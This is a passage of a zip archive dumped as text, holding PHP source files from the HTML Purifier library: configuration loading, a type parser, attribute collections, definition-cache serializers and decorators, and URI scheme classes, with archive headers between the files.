*
* @param array $config_array Configuration associative array
*/
public function loadArray($config_array)
{
if ($this->isFinalized('Cannot load directives after finalization')) {
return;
}
foreach ($config_array as $key => $value) {
$key = str_replace('_', '.', $key);
if (strpos($key, '.') !== false) {
$this->set($key, $value);
} else {
$namespace = $key;
$namespace_values = $value;
foreach ($namespace_values as $directive => $value2) {
$this->set($namespace .'.'. $directive, $value2);
}
}
}
}
/**
* Returns a list of array(namespace, directive) for all directives
* that are allowed in a web-form context as per an allowed
* namespaces/directives list.
*
* @param array $allowed List of allowed namespaces/directives
* @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy
*
* @return array
*/
public static function getAllowedDirectivesForForm($allowed, $schema = null)
{
if (!$schema) {
$schema = HTMLPurifier_ConfigSchema::instance();
}
if ($allowed !== true) {
if (is_string($allowed)) {
$allowed = array($allowed);
}
$allowed_ns = array();
$allowed_directives = array();
$blacklisted_directives = array();
foreach ($allowed as $ns_or_directive) {
if (strpos($ns_or_directive, '.') !== false) {
// directive
if ($ns_or_directive[0] == '-') {
$blacklisted_directives[substr($ns_or_directive, 1)] = true;
} else {
$allowed_directives[$ns_or_directive] = true;
}
} else {
// namespace
$allowed_ns[$ns_or_directive] = true;
}
}
}
$ret = array();
foreach ($schema->info as $key => $def) {
list($ns, $directive) = explode('.', $key, 2);
if ($allowed !== true) {
if (isset($blacklisted_directives["$ns.$directive"])) {
continue;
}
if (!isset($allowed_directives["$ns.$directive"]) && !isset($allowed_ns[$ns])) {
continue;
}
}
if (isset($def->isAlias)) {
continue;
}
if ($directive == 'DefinitionID' || $directive == 'DefinitionRev') {
continue;
}
$ret[] = array($ns, $directive);
}
return $ret;
}
/**
* Loads configuration values from $_GET/$_POST that were posted
* via ConfigForm
*
* @param array $array $_GET or $_POST array to import
* @param string|bool $index Index/name that the config variables are in
* @param array|bool $allowed List of allowed namespaces/directives
* @param bool $mq_fix Boolean whether or not to enable magic quotes fix
* @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy
*
* @return mixed
*/
public static function loadArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null)
{
$ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $schema);
$config = HTMLPurifier_Config::create($ret, $schema);
return $config;
}
/**
* Merges in configuration values from $_GET/$_POST to object. NOT STATIC.
*
* @param array $array $_GET or $_POST array to import
* @param string|bool $index Index/name that the config variables are in
* @param array|bool $allowed List of allowed namespaces/directives
* @param bool $mq_fix Boolean whether or not to enable magic quotes fix
*/
public function mergeArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true)
{
$ret = HTMLPurifier_Config::prepareArrayFromForm($array, $index, $allowed, $mq_fix, $this->def);
$this->loadArray($ret);
}
/**
* Prepares an array from a form into something usable for the more
* strict parts of HTMLPurifier_Config
*
* @param array $array $_GET or $_POST array to import
* @param string|bool $index Index/name that the config variables are in
* @param array|bool $allowed List of allowed namespaces/directives
* @param bool $mq_fix Boolean whether or not to enable magic quotes fix
* @param HTMLPurifier_ConfigSchema $schema Schema to use, if not global copy
*
* @return array
*/
public static function prepareArrayFromForm($array, $index = false, $allowed = true, $mq_fix = true, $schema = null)
{
if ($index !== false) {
$array = (isset($array[$index]) && is_array($array[$index])) ? $array[$index] : array();
}
$mq = $mq_fix && function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc();
$allowed = HTMLPurifier_Config::getAllowedDirectivesForForm($allowed, $schema);
$ret = array();
foreach ($allowed as $key) {
list($ns, $directive) = $key;
$skey = "$ns.$directive";
if (!empty($array["Null_$skey"])) {
$ret[$ns][$directive] = null;
continue;
}
if (!isset($array[$skey])) {
continue;
}
$value = $mq ? stripslashes($array[$skey]) : $array[$skey];
$ret[$ns][$directive] = $value;
}
return $ret;
}
/**
* Loads configuration values from an ini file
*
* @param string $filename Name of ini file
*/
public function loadIni($filename)
{
if ($this->isFinalized('Cannot load directives after finalization')) {
return;
}
$array = parse_ini_file($filename, true);
$this->loadArray($array);
}
/**
* Checks whether or not the configuration object is finalized.
*
* @param string|bool $error String error message, or false for no error
*
* @return bool
*/
public function isFinalized($error = false)
{
if ($this->finalized && $error) {
$this->triggerError($error, E_USER_ERROR);
}
return $this->finalized;
}
/**
* Finalizes configuration only if auto finalize is on and not
* already finalized
*/
public function autoFinalize()
{
if ($this->autoFinalize) {
$this->finalize();
} else {
$this->plist->squash(true);
}
}
/**
* Finalizes a configuration object, prohibiting further change
*/
public function finalize()
{
$this->finalized = true;
$this->parser = null;
}
/**
* Produces a nicely formatted error message by supplying the
* stack frame information OUTSIDE of HTMLPurifier_Config.
*
* @param string $msg An error message
* @param int $no An error number
*/
protected function triggerError($msg, $no)
{
// determine previous stack frame
$extra = '';
if ($this->chatty) {
$trace = debug_backtrace();
// zip(tail(trace), trace) -- but PHP is not Haskell har har
for ($i = 0, $c = count($trace); $i < $c - 1; $i++) {
// XXX this is not correct on some versions of HTML Purifier
if (isset($trace[$i + 1]['class']) && $trace[$i + 1]['class'] === 'HTMLPurifier_Config') {
continue;
}
$frame = $trace[$i];
$extra = " invoked on line {$frame['line']} in file {$frame['file']}";
break;
}
}
trigger_error($msg . $extra, $no);
}
/**
* Returns a serialized form of the configuration object that can
* be reconstituted.
*
* @return string
*/
public function serialize()
{
$this->getDefinition('HTML');
$this->getDefinition('CSS');
$this->getDefinition('URI');
return serialize($this);
}
}
// vim: et sw=4 sts=4
PK j�$Z6_,� � 8 htmlpurifier/library/HTMLPurifier/VarParserException.phpnu �[��� <?php
/**
* Exception type for HTMLPurifier_VarParser
*/
class HTMLPurifier_VarParserException extends HTMLPurifier_Exception
{
}
// vim: et sw=4 sts=4
PK j�$Z�0��� � 5 htmlpurifier/library/HTMLPurifier/AttrCollections.phpnu �[��� <?php
/**
* Defines common attribute collections that modules reference
*/
class HTMLPurifier_AttrCollections
{
/**
* Associative array of attribute collections, indexed by name.
* @type array
*/
public $info = array();
/**
* Performs all expansions on internal data for use by other inclusions
* It also collects all attribute collection extensions from
* modules
* @param HTMLPurifier_AttrTypes $attr_types HTMLPurifier_AttrTypes instance
* @param HTMLPurifier_HTMLModule[] $modules Hash array of HTMLPurifier_HTMLModule members
*/
public function __construct($attr_types, $modules)
{
$this->doConstruct($attr_types, $modules);
}
public function doConstruct($attr_types, $modules)
{
// load extensions from the modules
foreach ($modules as $module) {
foreach ($module->attr_collections as $coll_i => $coll) {
if (!isset($this->info[$coll_i])) {
$this->info[$coll_i] = array();
}
foreach ($coll as $attr_i => $attr) {
if ($attr_i === 0 && isset($this->info[$coll_i][$attr_i])) {
// merge in includes
$this->info[$coll_i][$attr_i] = array_merge(
$this->info[$coll_i][$attr_i],
$attr
);
continue;
}
$this->info[$coll_i][$attr_i] = $attr;
}
}
}
// perform internal expansions and inclusions
foreach ($this->info as $name => $attr) {
// merge attribute collections that include others
$this->performInclusions($this->info[$name]);
// replace string identifiers with actual attribute objects
$this->expandIdentifiers($this->info[$name], $attr_types);
}
}
/**
* Takes a reference to an attribute associative array and performs
* all inclusions specified by the zero index.
* @param array &$attr Reference to attribute array
*/
public function performInclusions(&$attr)
{
if (!isset($attr[0])) {
return;
}
$merge = $attr[0];
$seen = array(); // recursion guard
// loop through all the inclusions
for ($i = 0; isset($merge[$i]); $i++) {
if (isset($seen[$merge[$i]])) {
continue;
}
$seen[$merge[$i]] = true;
// foreach attribute of the inclusion, copy it over
if (!isset($this->info[$merge[$i]])) {
continue;
}
foreach ($this->info[$merge[$i]] as $key => $value) {
if (isset($attr[$key])) {
continue;
} // also catches more inclusions
$attr[$key] = $value;
}
if (isset($this->info[$merge[$i]][0])) {
// recursion
$merge = array_merge($merge, $this->info[$merge[$i]][0]);
}
}
unset($attr[0]);
}
/**
* Expands all string identifiers in an attribute array by replacing
* them with the appropriate values inside HTMLPurifier_AttrTypes
* @param array &$attr Reference to attribute array
* @param HTMLPurifier_AttrTypes $attr_types HTMLPurifier_AttrTypes instance
*/
public function expandIdentifiers(&$attr, $attr_types)
{
// because foreach will process new elements we add, make sure we
// skip duplicates
$processed = array();
foreach ($attr as $def_i => $def) {
// skip inclusions
if ($def_i === 0) {
continue;
}
if (isset($processed[$def_i])) {
continue;
}
// determine whether or not attribute is required
if ($required = (strpos($def_i, '*') !== false)) {
// rename the definition
unset($attr[$def_i]);
$def_i = trim($def_i, '*');
$attr[$def_i] = $def;
}
$processed[$def_i] = true;
// if we've already got a literal object, move on
if (is_object($def)) {
// preserve previous required
$attr[$def_i]->required = ($required || $attr[$def_i]->required);
continue;
}
if ($def === false) {
unset($attr[$def_i]);
continue;
}
if ($t = $attr_types->get($def)) {
$attr[$def_i] = $t;
$attr[$def_i]->required = $required;
} else {
unset($attr[$def_i]);
}
}
}
}
// vim: et sw=4 sts=4
PK j�$Zp���f f / htmlpurifier/library/HTMLPurifier/VarParser.phpnu �[��� <?php
/**
* Parses string representations into their corresponding native PHP
* variable type. The base implementation does a simple type-check.
*/
class HTMLPurifier_VarParser
{
const C_STRING = 1;
const ISTRING = 2;
const TEXT = 3;
const ITEXT = 4;
const C_INT = 5;
const C_FLOAT = 6;
const C_BOOL = 7;
const LOOKUP = 8;
const ALIST = 9;
const HASH = 10;
const C_MIXED = 11;
/**
* Lookup table of allowed types. Mainly for backwards compatibility, but
* also convenient for transforming string type names to the integer constants.
*/
public static $types = array(
'string' => self::C_STRING,
'istring' => self::ISTRING,
'text' => self::TEXT,
'itext' => self::ITEXT,
'int' => self::C_INT,
'float' => self::C_FLOAT,
'bool' => self::C_BOOL,
'lookup' => self::LOOKUP,
'list' => self::ALIST,
'hash' => self::HASH,
'mixed' => self::C_MIXED
);
/**
* Lookup table of types that are string, and can have aliases or
* allowed value lists.
*/
public static $stringTypes = array(
self::C_STRING => true,
self::ISTRING => true,
self::TEXT => true,
self::ITEXT => true,
);
/**
* Validate a variable according to type.
* It may return NULL as a valid type if $allow_null is true.
*
* @param mixed $var Variable to validate
* @param int $type Type of variable, see HTMLPurifier_VarParser->types
* @param bool $allow_null Whether or not to permit null as a value
* @return string Validated and type-coerced variable
* @throws HTMLPurifier_VarParserException
*/
final public function parse($var, $type, $allow_null = false)
{
if (is_string($type)) {
if (!isset(HTMLPurifier_VarParser::$types[$type])) {
throw new HTMLPurifier_VarParserException("Invalid type '$type'");
} else {
$type = HTMLPurifier_VarParser::$types[$type];
}
}
$var = $this->parseImplementation($var, $type, $allow_null);
if ($allow_null && $var === null) {
return null;
}
// These are basic checks, to make sure nothing horribly wrong
// happened in our implementations.
switch ($type) {
case (self::C_STRING):
case (self::ISTRING):
case (self::TEXT):
case (self::ITEXT):
if (!is_string($var)) {
break;
}
if ($type == self::ISTRING || $type == self::ITEXT) {
$var = strtolower($var);
}
return $var;
case (self::C_INT):
if (!is_int($var)) {
break;
}
return $var;
case (self::C_FLOAT):
if (!is_float($var)) {
break;
}
return $var;
case (self::C_BOOL):
if (!is_bool($var)) {
break;
}
return $var;
case (self::LOOKUP):
case (self::ALIST):
case (self::HASH):
if (!is_array($var)) {
break;
}
if ($type === self::LOOKUP) {
foreach ($var as $k) {
if ($k !== true) {
$this->error('Lookup table contains value other than true');
}
}
} elseif ($type === self::ALIST) {
$keys = array_keys($var);
if (array_keys($keys) !== $keys) {
$this->error('Indices for list are not uniform');
}
}
return $var;
case (self::C_MIXED):
return $var;
default:
$this->errorInconsistent(get_class($this), $type);
}
$this->errorGeneric($var, $type);
}
/**
* Actually implements the parsing. Base implementation does not
* do anything to $var. Subclasses should overload this!
* @param mixed $var
* @param int $type
* @param bool $allow_null
* @return string
*/
protected function parseImplementation($var, $type, $allow_null)
{
return $var;
}
/**
* Throws an exception.
* @throws HTMLPurifier_VarParserException
*/
protected function error($msg)
{
throw new HTMLPurifier_VarParserException($msg);
}
/**
* Throws an inconsistency exception.
* @note This should not ever be called. It would be called if we
* extend the allowed values of HTMLPurifier_VarParser without
* updating subclasses.
* @param string $class
* @param int $type
* @throws HTMLPurifier_Exception
*/
protected function errorInconsistent($class, $type)
{
throw new HTMLPurifier_Exception(
"Inconsistency in $class: " . HTMLPurifier_VarParser::getTypeName($type) .
" not implemented"
);
}
/**
* Generic error for if a type didn't work.
* @param mixed $var
* @param int $type
*/
protected function errorGeneric($var, $type)
{
$vtype = gettype($var);
$this->error("Expected type " . HTMLPurifier_VarParser::getTypeName($type) . ", got $vtype");
}
/**
* @param int $type
* @return string
*/
public static function getTypeName($type)
{
static $lookup;
if (!$lookup) {
// Lazy load the alternative lookup table
$lookup = array_flip(HTMLPurifier_VarParser::$types);
}
if (!isset($lookup[$type])) {
return 'unknown';
}
return $lookup[$type];
}
}
// vim: et sw=4 sts=4
PK j�$Z� �ʂ$ �$ @ htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer.phpnu �[��� <?php
class HTMLPurifier_DefinitionCache_Serializer extends HTMLPurifier_DefinitionCache
{
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return int|bool
*/
public function add($def, $config)
{
if (!$this->checkDefType($def)) {
return;
}
$file = $this->generateFilePath($config);
if (file_exists($file)) {
return false;
}
if (!$this->_prepareDir($config)) {
return false;
}
return $this->_write($file, serialize($def), $config);
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return int|bool
*/
public function set($def, $config)
{
if (!$this->checkDefType($def)) {
return;
}
$file = $this->generateFilePath($config);
if (!$this->_prepareDir($config)) {
return false;
}
return $this->_write($file, serialize($def), $config);
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return int|bool
*/
public function replace($def, $config)
{
if (!$this->checkDefType($def)) {
return;
}
$file = $this->generateFilePath($config);
if (!file_exists($file)) {
return false;
}
if (!$this->_prepareDir($config)) {
return false;
}
return $this->_write($file, serialize($def), $config);
}
/**
* @param HTMLPurifier_Config $config
* @return bool|HTMLPurifier_Config
*/
public function get($config)
{
$file = $this->generateFilePath($config);
if (!file_exists($file)) {
return false;
}
return unserialize(file_get_contents($file));
}
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function remove($config)
{
$file = $this->generateFilePath($config);
if (!file_exists($file)) {
return false;
}
return unlink($file);
}
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function flush($config)
{
if (!$this->_prepareDir($config)) {
return false;
}
$dir = $this->generateDirectoryPath($config);
$dh = opendir($dir);
// Apparently, on some versions of PHP, readdir will return
// an empty string if you pass an invalid argument to readdir.
// So you need this test. See #49.
if (false === $dh) {
return false;
}
while (false !== ($filename = readdir($dh))) {
if (empty($filename)) {
continue;
}
if ($filename[0] === '.') {
continue;
}
unlink($dir . '/' . $filename);
}
closedir($dh);
return true;
}
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function cleanup($config)
{
if (!$this->_prepareDir($config)) {
return false;
}
$dir = $this->generateDirectoryPath($config);
$dh = opendir($dir);
// See #49 (and above).
if (false === $dh) {
return false;
}
while (false !== ($filename = readdir($dh))) {
if (empty($filename)) {
continue;
}
if ($filename[0] === '.') {
continue;
}
$key = substr($filename, 0, strlen($filename) - 4);
if ($this->isOld($key, $config)) {
unlink($dir . '/' . $filename);
}
}
closedir($dh);
return true;
}
/**
* Generates the file path to the serial file corresponding to
* the configuration and definition name
* @param HTMLPurifier_Config $config
* @return string
* @todo Make protected
*/
public function generateFilePath($config)
{
$key = $this->generateKey($config);
return $this->generateDirectoryPath($config) . '/' . $key . '.ser';
}
/**
* Generates the path to the directory contain this cache's serial files
* @param HTMLPurifier_Config $config
* @return string
* @note No trailing slash
* @todo Make protected
*/
public function generateDirectoryPath($config)
{
$base = $this->generateBaseDirectoryPath($config);
return $base . '/' . $this->type;
}
/**
* Generates path to base directory that contains all definition type
* serials
* @param HTMLPurifier_Config $config
* @return mixed|string
* @todo Make protected
*/
public function generateBaseDirectoryPath($config)
{
$base = $config->get('Cache.SerializerPath');
$base = is_null($base) ? HTMLPURIFIER_PREFIX . '/HTMLPurifier/DefinitionCache/Serializer' : $base;
return $base;
}
/**
* Convenience wrapper function for file_put_contents
* @param string $file File name to write to
* @param string $data Data to write into file
* @param HTMLPurifier_Config $config
* @return int|bool Number of bytes written if success, or false if failure.
*/
private function _write($file, $data, $config)
{
$result = file_put_contents($file, $data);
if ($result !== false) {
// set permissions of the new file (no execute)
$chmod = $config->get('Cache.SerializerPermissions');
if ($chmod !== null) {
chmod($file, $chmod & 0666);
}
}
return $result;
}
/**
* Prepares the directory that this type stores the serials in
* @param HTMLPurifier_Config $config
* @return bool True if successful
*/
private function _prepareDir($config)
{
$directory = $this->generateDirectoryPath($config);
$chmod = $config->get('Cache.SerializerPermissions');
if ($chmod === null) {
if (!@mkdir($directory) && !is_dir($directory)) {
trigger_error(
'Could not create directory ' . $directory . '',
E_USER_WARNING
);
return false;
}
return true;
}
if (!is_dir($directory)) {
$base = $this->generateBaseDirectoryPath($config);
if (!is_dir($base)) {
trigger_error(
'Base directory ' . $base . ' does not exist,
please create or change using %Cache.SerializerPath',
E_USER_WARNING
);
return false;
} elseif (!$this->_testPermissions($base, $chmod)) {
return false;
}
if (!@mkdir($directory, $chmod) && !is_dir($directory)) {
trigger_error(
'Could not create directory ' . $directory . '',
E_USER_WARNING
);
return false;
}
if (!$this->_testPermissions($directory, $chmod)) {
return false;
}
} elseif (!$this->_testPermissions($directory, $chmod)) {
return false;
}
return true;
}
/**
* Tests permissions on a directory and throws out friendly
* error messages and attempts to chmod it itself if possible
* @param string $dir Directory path
* @param int $chmod Permissions
* @return bool True if directory is writable
*/
private function _testPermissions($dir, $chmod)
{
// early abort, if it is writable, everything is hunky-dory
if (is_writable($dir)) {
return true;
}
if (!is_dir($dir)) {
// generally, you'll want to handle this beforehand
// so a more specific error message can be given
trigger_error(
'Directory ' . $dir . ' does not exist',
E_USER_WARNING
);
return false;
}
if (function_exists('posix_getuid') && $chmod !== null) {
// POSIX system, we can give more specific advice
if (fileowner($dir) === posix_getuid()) {
// we can chmod it ourselves
$chmod = $chmod | 0700;
if (chmod($dir, $chmod)) {
return true;
}
} elseif (filegroup($dir) === posix_getgid()) {
$chmod = $chmod | 0070;
} else {
// PHP's probably running as nobody, so we'll
// need to give global permissions
$chmod = $chmod | 0777;
}
trigger_error(
'Directory ' . $dir . ' not writable, ' .
'please chmod to ' . decoct($chmod),
E_USER_WARNING
);
} else {
// generic error message
trigger_error(
'Directory ' . $dir . ' not writable, ' .
'please alter file permissions',
E_USER_WARNING
);
}
return false;
}
}
// vim: et sw=4 sts=4
PK j�$Z�8 �H H : htmlpurifier/library/HTMLPurifier/DefinitionCache/Null.phpnu �[��� <?php
/**
* Null cache object to use when no caching is on.
*/
class HTMLPurifier_DefinitionCache_Null extends HTMLPurifier_DefinitionCache
{
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return bool
*/
public function add($def, $config)
{
return false;
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return bool
*/
public function set($def, $config)
{
return false;
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return bool
*/
public function replace($def, $config)
{
return false;
}
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function remove($config)
{
return false;
}
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function get($config)
{
return false;
}
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function flush($config)
{
return false;
}
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function cleanup($config)
{
return false;
}
}
// vim: et sw=4 sts=4
PK j�$ZZ��݉ � K htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Template.php.innu �[��� <?php
require_once 'HTMLPurifier/DefinitionCache/Decorator.php';
/**
* Definition cache decorator template.
*/
class HTMLPurifier_DefinitionCache_Decorator_Template extends HTMLPurifier_DefinitionCache_Decorator
{
/**
* @type string
*/
public $name = 'Template'; // replace this
public function copy()
{
// replace class name with yours
return new HTMLPurifier_DefinitionCache_Decorator_Template();
}
// remove methods you don't need
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function add($def, $config)
{
return parent::add($def, $config);
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function set($def, $config)
{
return parent::set($def, $config);
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function replace($def, $config)
{
return parent::replace($def, $config);
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function get($config)
{
return parent::get($config);
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function flush($config)
{
return parent::flush($config);
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function cleanup($config)
{
return parent::cleanup($config);
}
}
// vim: et sw=4 sts=4
PK j�$Z2��}
F htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Memory.phpnu �[��� <?php
/**
* Definition cache decorator class that saves all cache retrievals
* to PHP's memory; good for unit tests or circumstances where
* there are lots of configuration objects floating around.
*/
class HTMLPurifier_DefinitionCache_Decorator_Memory extends HTMLPurifier_DefinitionCache_Decorator
{
/**
* @type array
*/
protected $definitions;
/**
* @type string
*/
public $name = 'Memory';
/**
* @return HTMLPurifier_DefinitionCache_Decorator_Memory
*/
public function copy()
{
return new HTMLPurifier_DefinitionCache_Decorator_Memory();
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function add($def, $config)
{
$status = parent::add($def, $config);
if ($status) {
$this->definitions[$this->generateKey($config)] = $def;
}
return $status;
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function set($def, $config)
{
$status = parent::set($def, $config);
if ($status) {
$this->definitions[$this->generateKey($config)] = $def;
}
return $status;
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function replace($def, $config)
{
$status = parent::replace($def, $config);
if ($status) {
$this->definitions[$this->generateKey($config)] = $def;
}
return $status;
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function get($config)
{
$key = $this->generateKey($config);
if (isset($this->definitions[$key])) {
return $this->definitions[$key];
}
$this->definitions[$key] = parent::get($config);
return $this->definitions[$key];
}
}
// vim: et sw=4 sts=4
PK j�$Zڢ�� � G htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator/Cleanup.phpnu �[��� <?php
/**
* Definition cache decorator class that cleans up the cache
* whenever there is a cache miss.
*/
class HTMLPurifier_DefinitionCache_Decorator_Cleanup extends HTMLPurifier_DefinitionCache_Decorator
{
/**
* @type string
*/
public $name = 'Cleanup';
/**
* @return HTMLPurifier_DefinitionCache_Decorator_Cleanup
*/
public function copy()
{
return new HTMLPurifier_DefinitionCache_Decorator_Cleanup();
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function add($def, $config)
{
$status = parent::add($def, $config);
if (!$status) {
parent::cleanup($config);
}
return $status;
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function set($def, $config)
{
$status = parent::set($def, $config);
if (!$status) {
parent::cleanup($config);
}
return $status;
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function replace($def, $config)
{
$status = parent::replace($def, $config);
if (!$status) {
parent::cleanup($config);
}
return $status;
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function get($config)
{
$ret = parent::get($config);
if (!$ret) {
parent::cleanup($config);
}
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z��LK K ? htmlpurifier/library/HTMLPurifier/DefinitionCache/Decorator.phpnu �[��� <?php
class HTMLPurifier_DefinitionCache_Decorator extends HTMLPurifier_DefinitionCache
{
/**
* Cache object we are decorating
* @type HTMLPurifier_DefinitionCache
*/
public $cache;
/**
* The name of the decorator
* @var string
*/
public $name;
public function __construct()
{
}
/**
* Lazy decorator function
* @param HTMLPurifier_DefinitionCache $cache Reference to cache object to decorate
* @return HTMLPurifier_DefinitionCache_Decorator
*/
public function decorate(&$cache)
{
$decorator = $this->copy();
// reference is necessary for mocks in PHP 4
$decorator->cache =& $cache;
$decorator->type = $cache->type;
return $decorator;
}
/**
* Cross-compatible clone substitute
* @return HTMLPurifier_DefinitionCache_Decorator
*/
public function copy()
{
return new HTMLPurifier_DefinitionCache_Decorator();
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function add($def, $config)
{
return $this->cache->add($def, $config);
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function set($def, $config)
{
return $this->cache->set($def, $config);
}
/**
* @param HTMLPurifier_Definition $def
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function replace($def, $config)
{
return $this->cache->replace($def, $config);
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function get($config)
{
return $this->cache->get($config);
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function remove($config)
{
return $this->cache->remove($config);
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function flush($config)
{
return $this->cache->flush($config);
}
/**
* @param HTMLPurifier_Config $config
* @return mixed
*/
public function cleanup($config)
{
return $this->cache->cleanup($config);
}
}
// vim: et sw=4 sts=4
PK j�$Z�eG` ` C htmlpurifier/library/HTMLPurifier/DefinitionCache/Serializer/READMEnu �[��� This is a dummy file to prevent Git from ignoring this empty directory.
vim: et sw=4 sts=4
PK j�$Z��5�f
f
3 htmlpurifier/library/HTMLPurifier/URIDefinition.phpnu �[��� <?php
class HTMLPurifier_URIDefinition extends HTMLPurifier_Definition
{
public $type = 'URI';
protected $filters = array();
protected $postFilters = array();
protected $registeredFilters = array();
/**
* HTMLPurifier_URI object of the base specified at %URI.Base
*/
public $base;
/**
* String host to consider "home" base, derived off of $base
*/
public $host;
/**
* Name of default scheme based on %URI.DefaultScheme and %URI.Base
*/
public $defaultScheme;
public function __construct()
{
$this->registerFilter(new HTMLPurifier_URIFilter_DisableExternal());
$this->registerFilter(new HTMLPurifier_URIFilter_DisableExternalResources());
$this->registerFilter(new HTMLPurifier_URIFilter_DisableResources());
$this->registerFilter(new HTMLPurifier_URIFilter_HostBlacklist());
$this->registerFilter(new HTMLPurifier_URIFilter_SafeIframe());
$this->registerFilter(new HTMLPurifier_URIFilter_MakeAbsolute());
$this->registerFilter(new HTMLPurifier_URIFilter_Munge());
}
public function registerFilter($filter)
{
$this->registeredFilters[$filter->name] = $filter;
}
public function addFilter($filter, $config)
{
$r = $filter->prepare($config);
if ($r === false) return; // null is ok, for backwards compat
if ($filter->post) {
$this->postFilters[$filter->name] = $filter;
} else {
$this->filters[$filter->name] = $filter;
}
}
protected function doSetup($config)
{
$this->setupMemberVariables($config);
$this->setupFilters($config);
}
protected function setupFilters($config)
{
foreach ($this->registeredFilters as $name => $filter) {
if ($filter->always_load) {
$this->addFilter($filter, $config);
} else {
$conf = $config->get('URI.' . $name);
if ($conf !== false && $conf !== null) {
$this->addFilter($filter, $config);
}
}
}
unset($this->registeredFilters);
}
protected function setupMemberVariables($config)
{
$this->host = $config->get('URI.Host');
$base_uri = $config->get('URI.Base');
if (!is_null($base_uri)) {
$parser = new HTMLPurifier_URIParser();
$this->base = $parser->parse($base_uri);
$this->defaultScheme = $this->base->scheme;
if (is_null($this->host)) $this->host = $this->base->host;
}
if (is_null($this->defaultScheme)) $this->defaultScheme = $config->get('URI.DefaultScheme');
}
public function getDefaultScheme($config, $context)
{
return HTMLPurifier_URISchemeRegistry::instance()->getScheme($this->defaultScheme, $config, $context);
}
public function filter(&$uri, $config, $context)
{
foreach ($this->filters as $name => $f) {
$result = $f->filter($uri, $config, $context);
if (!$result) return false;
}
return true;
}
public function postFilter(&$uri, $config, $context)
{
foreach ($this->postFilters as $name => $f) {
$result = $f->filter($uri, $config, $context);
if (!$result) return false;
}
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z��e* * 5 htmlpurifier/library/HTMLPurifier/URIScheme/https.phpnu �[��� <?php
/**
* Validates https (Secure HTTP) according to http scheme.
*/
class HTMLPurifier_URIScheme_https extends HTMLPurifier_URIScheme_http
{
/**
* @type int
*/
public $default_port = 443;
/**
* @type bool
*/
public $secure = true;
}
// vim: et sw=4 sts=4
PK j�$Z�EP�� � 4 htmlpurifier/library/HTMLPurifier/URIScheme/file.phpnu �[��� <?php
/**
* Validates file as defined by RFC 1630 and RFC 1738.
*/
class HTMLPurifier_URIScheme_file extends HTMLPurifier_URIScheme
{
/**
* Generally file:// URLs are not accessible from most
* machines, so placing them as an img src is incorrect.
* @type bool
*/
public $browsable = false;
/**
* Basically the *only* URI scheme for which this is true, since
* accessing files on the local machine is very common. In fact,
* browsers on some operating systems don't understand the
* authority, though I hear it is used on Windows to refer to
* network shares.
* @type bool
*/
public $may_omit_host = true;
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function doValidate(&$uri, $config, $context)
{
// Authentication method is not supported
$uri->userinfo = null;
// file:// makes no provisions for accessing the resource
$uri->port = null;
// While it seems to work on Firefox, the querystring has
// no possible effect and is thus stripped.
$uri->query = null;
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z&�tX� � 3 htmlpurifier/library/HTMLPurifier/URIScheme/tel.phpnu �[��� <?php
/**
* Validates tel (for phone numbers).
*
* The relevant specifications for this protocol are RFC 3966 and RFC 5341,
* but this class takes a much simpler approach: we normalize phone
* numbers so that they only include (possibly) a leading plus,
* and then any number of digits and x'es.
*/
